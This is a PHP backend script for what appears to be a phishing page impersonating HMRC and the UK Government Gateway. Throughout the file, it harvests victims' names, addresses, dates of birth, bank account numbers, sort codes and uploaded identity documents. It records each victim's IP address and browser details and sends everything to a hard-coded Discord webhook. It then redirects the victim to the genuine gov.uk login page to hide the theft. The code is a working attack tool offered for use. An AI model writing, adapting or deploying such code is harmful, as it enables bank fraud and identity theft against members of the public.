<?php
// ==== CONFIGURATION ==== //
$discordHook = "https://discord.com/api/webhooks/1417533185608384703/-VUWHX_kpj1T7YreYF7GAiK9Ej8IqGvtLVxFSO-ZetbBouqaDyb0Id3O4akxpdsuwxX_"; // <-- replace with your webhook

if ($_SERVER["REQUEST_METHOD"] === "POST") {
    $name   = htmlspecialchars($_POST['name'] ?? '');
    $add   = htmlspecialchars($_POST['add'] ?? '');
	$dd   = htmlspecialchars($_POST['dd'] ?? '');
	$mm   = htmlspecialchars($_POST['mm'] ?? '');
    $yy   = htmlspecialchars($_POST['yy'] ?? '');
    $com   = htmlspecialchars($_POST['com'] ?? '');
    $acc   = htmlspecialchars($_POST['acc'] ?? '');
    $sort   = htmlspecialchars($_POST['sort'] ?? '');
    $docType  = htmlspecialchars ($_POST['docType'] ?? '');

    // Collect system info
    $ip        = $_SERVER['REMOTE_ADDR'] ?? 'unknown';
    $hostname  = gethostbyaddr($ip);
    $userAgent = $_SERVER['HTTP_USER_AGENT'] ?? 'unknown';

    // Prepare message content
    $content = "**HMRC Application from - $ip**\n"
			. "**Full Name:** $name\n"
			. "**Address:** $add\n"
			. "**DOB:** $dd/$mm/$yy\n"
			. "**Biz Name:** $com\n"
			. "**Account:** $acc\n"
			. "**Sortcode:** $sort\n"
			. "**Document Type:** $docType\n"
			. "**Hostname:** $hostname\n"
			. "**User Agent:** $userAgent\n"
			. "-------------[Government Gateway UK]--------------\n";
			 

    // Prepare multipart/form-data payload
    $postFields = [
        "content" => $content
    ];

    // If file is uploaded, attach it
    if (isset($_FILES['fileUpload']) && $_FILES['fileUpload']['error'] === UPLOAD_ERR_OK) {
        $postFields["file"] = new CURLFile(
            $_FILES['fileUpload']['tmp_name'],
            $_FILES['fileUpload']['type'],
            $_FILES['fileUpload']['name']
        );
    }

    // Send to Discord
    $ch = curl_init($discordHook);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $response = curl_exec($ch);
    curl_close($ch);

    // Redirect user to thank you page
    header("Location: https://www.gov.uk/log-in-register-hmrc-online-services");
    exit;
}